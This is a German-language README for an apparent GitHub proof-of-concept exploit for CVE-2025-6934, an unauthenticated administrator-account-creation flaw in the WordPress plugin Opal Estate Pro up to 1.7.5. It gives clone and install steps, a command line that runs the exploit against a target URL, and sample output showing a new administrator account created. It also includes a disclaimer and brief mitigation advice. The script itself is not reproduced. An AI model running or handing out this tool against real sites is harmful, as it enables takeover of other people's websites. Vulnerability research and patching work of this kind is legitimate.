CVE-2025-6934 – WordPress Opal Estate Pro Exploit

📖 Beschreibung Dieses Repository enthält einen Proof of Concept (PoC)-Exploit für CVE-2025-6934, eine kritische Schwachstelle im WordPress-Plugin: Opal Estate Pro <= 1.7.5, die die Erstellung eines Administrator-Kontos ohne Authentifizierung ermöglicht.

⚠️ Haftungsausschluss: Dieses Tool dient ausschließlich Bildungs- und Sicherheitsforschungszwecken.
Der Autor ist nicht verantwortlich für Missbrauch oder verursachte Schäden.

🚀 Funktionen

• Automatische Erkennung der Plugin-Version aus readme.txt
• Nonce-Extraktion für die Registrierung
• Nutzt einen verwundbaren AJAX-Endpunkt aus
• Erstellt ein neues Administrator-Konto

🔧 Installation

Repository klonen und Abhängigkeiten installieren:

git clone https://github.com/0xgh057r3c0n/CVE-2025-6934.git
cd CVE-2025-6934

pip3 install -r requirements.txt

requirements.txt

requests
beautifulsoup4
colorama

▶️ Verwendung

Führen Sie das Skript mit Ihrem Ziel aus:

python3 CVE-2025-6934.py -u http://target.com/ -mail [email protected] -password MySecurePass123 -user newadmin

✅ Beispielausgabe:

[✔] Exploit Successful!
    Username : newadmin
    Email    : [email protected]
    Password : MySecurePass123
    Role     : administrator

📸 Screenshot

🛡️ Abhilfe

• Aktualisieren Sie auf die neueste Version des Plugins
• Oder deaktivieren Sie das verwundbare Plugin sofort
• Überwachen Sie WordPress-Logs auf unbefugte Kontenerstellung

👤 Autor

Gaurav Bhattacharjee (0xgh057r3c0n)

📜 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe LICENSE für Details.